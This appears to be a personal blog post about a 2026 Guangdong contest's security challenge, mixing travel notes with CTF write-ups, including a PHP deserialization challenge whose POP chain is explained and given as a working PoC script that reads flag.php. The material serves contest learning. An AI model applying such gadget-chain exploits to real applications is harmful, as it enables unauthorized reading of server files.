boxmoe_header_banner_img

梦中的登神殿,天才的乱葬岗

加载中

文章导读

再战:广东省计算机设计大赛网络与数据安全挑战赛!


avatar
RootReapers 2026年6月29日 49

今年二战省设计大赛,依旧是安恒出的题目

先分享一波日常先

去年是在清远,今年在惠州(坐车确实晕,一直没敢看手机)


到酒店先和零神(Ai大手子zero)面基了,严肃学习中…



和零神一起吃了个饭,这个鸡真的夯爆了!没吃过这么好吃的盐焗鸡

(在某个农庄吃的,名字忘了)

(还有这个红烧肉!!!)



晚上在酒店里研究题目,猜第二天会有什么题




第二次成为参赛选手**✌**

准备比赛了



战况

Code share

签到题

Ctrl+u就有flag


Pooop

很简单的php反序列化

打开题目能看到源码,复制到本地进行调试

有三个类,FileReader,DataProcessor,OutPutHandler

首先FileReader里面写了一个read方法,判断文件是否存在,存在则读取并且输出

但是这个方法不会自动调用,继续找利用点

在DataProcessor可以发现有个process方法,DataProcessor的成员变量reader的read方法,是Public,可控,传入FileReader作为reader的值,即可调用FileReader的read,再继续找哪里调用了process


在DataProcessor的__tostring有发现调用,__tostring是一个魔术方法,在对象当作字符串输出时会触发调用,接下来找一个输出点即可,把DataProcessor对象作为输出内容即可

往下找到OutPutHandler,发现有个render方法进行了输出

输出的内容是processor,一个public的成员变量

创建一个DataProcessor的对象传入即可,触发输出(__tostring调用)

再往下可以发现__destruct调用render,__destruct在程序结束时会自动调用

由此形成闭环

__destruct调用render,render触发__tostring调用process,process调用read,read读取flag.php

以下是POC脚本

//flag in flag.php

class FileReader {
    public $filename;
    public $content;

    public function __construct($filename = '') {
        $this->filename = $filename;
        $this->content = '';
    }

    public function read() {
        if (file_exists($this->filename)) {
            $this->content = file_get_contents($this->filename);
            echo $this->content;
            return $this->content;
        }
        return null;
    }

    public function __toString() {
        return $this->content;
    }
}

class DataProcessor {
    public $reader;
    public $data;

    public function __construct($reader = null, $data = null) {
        $this->reader = $reader;
        $this->data = $data;
    }

    public function process() {
        if ($this->reader !== null && method_exists($this->reader, 'read')) {
            return $this->reader->read();
        }
        return null;
    }

    public function __toString() {
        return $this->process();
    }
}

class OutputHandler {
    public $processor;
    public $format;

    public function __construct($processor = null, $format = 'text') {
        $this->processor = $processor;
        $this->format = $format;
    }

    public function render() {
        if ($this->processor === null) {
            return '';
        }

        $output = $this->processor;

        if ($this->format === 'html') {
            return '<pre>' . htmlspecialchars($output) . '</pre>';
        }

        return $output;
    }

    public function __destruct() {
        $this->render();
    }
}

$FR=new FileReader('flag.php');
$DP=new DataProcessor($FR,123);
$OH=new OutputHandler($DP,'html');
$a=serialize($OH);
echo $a;
unserialize($a);
?>

反序列化后,Flag需要ctrl+u查看源代码得到



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码